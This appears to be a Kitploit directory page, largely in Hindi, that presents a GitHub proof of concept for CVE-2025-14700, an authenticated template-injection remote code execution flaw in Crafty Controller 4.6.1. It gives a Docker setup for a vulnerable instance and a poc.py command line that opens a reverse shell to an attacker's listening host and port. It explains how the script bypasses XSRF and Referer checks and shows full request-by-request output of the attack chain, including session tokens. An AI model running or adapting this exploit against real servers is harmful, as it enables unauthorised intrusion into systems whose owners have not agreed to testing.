Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC_CVE-2025-14700 — Crafty Controller में प्रमाणित RCE के लिए प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/secdongle/poc_cve-2025-14700
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubsecdongle/poc_cve-2025-14700

POC_CVE-2025-14700

Crafty Controller में प्रमाणित RCE के लिए प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
18 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-14700

CVE-2025-14700 के लिए PoC, Crafty Controller <= 4.6.1 में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता। यह भेद्यता प्रमाणित उपयोगकर्ताओं को Webhook कॉन्फ़िगरेशन में दुर्भावनापूर्ण Jinja2 टेम्पलेट इंजेक्ट करके रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देती है।

📦 स्थापना

root@kitploit:~
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ परीक्षण वातावरण (Docker Compose)

Crafty Controller 4.6.1 का एक भेद्य इंस्टेंस सेट करने के लिए, निम्न docker-compose.yml कॉन्फ़िगरेशन का उपयोग करें:

1. docker-compose.yml बनाएँ

root@kitploit:~
version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

2. वातावरण प्रारंभ करें

root@kitploit:~
docker-compose up -d

3. कंट्रोलर को प्रारंभ करें

  1. वेब इंटरफ़ेस को https://localhost:8443 पर एक्सेस करें।
  2. व्यवस्थापक खाता बनाने के लिए प्रारंभिक सेटअप विज़ार्ड पूरा करें।
  3. poc.py स्क्रिप्ट चलाने के लिए इन क्रेडेंशियल्स का उपयोग करें।

🚀 उपयोग

एकल लक्ष्य शोषण

root@kitploit:~
# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

कमांड लाइन विकल्प

विकल्पविवरण
-u, --urlCrafty Controller का लक्ष्य URL (उदा., https://10.67.3.77:8443)
-l, --loginप्रमाणीकरण के लिए उपयोगकर्ता नाम
-p, --passwordप्रमाणीकरण के लिए पासवर्ड
-lh, --lhostरिवर्स शेल कॉलबैक के लिए हमलावर का IP
-lp, --lportरिवर्स शेल कॉलबैक के लिए हमलावर का पोर्ट

🎯 एक्सप्लॉइट विशेषताएँ

  • XSRF और टोकन सिंक: Tornado _xsrf कुकीज़ और कस्टम token हेडर के बीच जटिल सिंक्रोनाइज़ेशन को स्वचालित रूप से संभालता है।
  • सत्र अनुकरण: बैकएंड सुरक्षा जाँचों को बायपास करने के लिए Referer और Origin हेडर सहित ब्राउज़र-आधारित अनुरोधों का 1:1 अनुकरण।
  • स्वचालित श्रृंखला: एक डमी सर्वर बनाता है, SSTI पेलोड इंजेक्ट करता है, और एक ही क्रम में निष्पादन क्रिया को ट्रिगर करता है।

📊 तकनीकी विश्लेषण

एक्सप्लॉइट बैकएंड के सख्त सत्यापन तर्क के साथ संरेखित होकर सफल होता है:

आवश्यकताएक्सप्लॉइट रणनीति
XSRF टोकनकुकीज़ से _xsrf निकालता है और इसे X-XSRFToken और token हेडर में दर्शाता है।
Referer जाँचवैध उपयोगकर्ता इंटरैक्शन की नकल करने के लिए Referer को डैशबोर्ड पथ पर सेट करता है।
हेडर मैपिंगएक्शन डिस्पैचर द्वारा आवश्यक विशिष्ट token हेडर में _xsrf मान को मैप करता है।
पेलोडos मॉड्यूल तक पहुँचने के लिए self._TemplateReference__context का लाभ उठाता है।

📝 नमूना आउटपुट

root@kitploit:~
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

reverse_shell

⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं हैं।

टूल डाउनलोड करें